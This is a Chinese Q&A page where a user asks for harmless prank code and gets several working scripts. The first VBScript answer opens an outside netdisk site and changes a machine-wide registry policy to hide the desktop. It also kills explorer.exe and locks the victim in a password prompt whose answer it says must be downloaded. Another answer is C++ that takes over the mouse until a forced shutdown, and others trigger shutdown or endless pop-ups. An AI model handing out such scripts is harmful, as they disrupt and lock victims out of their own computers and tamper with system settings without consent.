求一段电脑整蛊代码

Question

只要整蛊，不要有危害的~~~

Answer 1

set ws = wscript.createobject("wscript.shell")
if msgbox("纯属娱乐!just for fun!",4132,"绝对无毒无害!你准备好了吗?")=vbyes then
msgbox"OK!"
else
ws.popup"那也没办法!接招吧!",3
ws.popup"等会的解除密码在网盘里，自己下载,祝你愉快!",3
end if
ws.run" http://alonedu.ys168.com"
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"
wscript.sleep 500
ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000
ws.run "explorer.exe",vbhide : wscript.sleep 6000
do
a=inputbox("请输入密码解除","注意,重启电脑是没有用的!")
if a="我真笨啊" then
msgbox"密码正确!",vbinformation
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000000","REG_DWORD"
wscript.sleep 500
ws.run "taskkill /f /im explorer.exe",vbhide
wscript.sleep 2000
ws.run "explorer.exe",vbhide
msgbox"解除成功!"
exit do
else
msgbox"看你不下载，密码错误!请重试 !"
end if
loop

Answer 2

那个 问个问题
您要的是windows代码还是Linux
您要的是编程语言制成的exe还是系统设置exe之类的
或者说您要一段c++/Java代码？
歪歪歪 题主还在不在
我有了！
set s=CreateObject ("sapi.spvoice")
do
s.speak "在这里输入汉字"
loop
你把上面那代码写到txt文档里
然后把后缀名改成.vbs
双击（大胆作死）试试
就是电脑说话 很有意思的
用编程语言的话，网上一搜都有关机指令的本回答被网友采纳

Answer 3

你是要什么语言的代码？是C还是C++？是Python还是Java？

我这边有一个C++的整蛊代码，但是使用后只能强制关机了（因为是鼠标乱飞，除非在乱飞的过程中点到了杀毒软件的加速球，加速时可以停一小会的时间）……

这个代码可能只适用于Windows系统

#include<windows.h>
#include<cstdlib>
#include<ctime>
#include<iostream> 
using namespace std;
int main()
{
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
while(1)SetCursorPos(rand()%x,rand()%y);
return 0;
}

Answer 4

shutdown -s -t 1 保存为。bat 模式 双击 就关机

Answer 5

text()

function text()

dim a
a=InputBox("请大声说出我是猪！")

if a="我是猪"then

Msgbox"哈哈，我也觉得你是猪！",0, "恭喜"

else

Msgbox"不行，你要说我是猪！",0, "再来一次"

text ()

end if

end function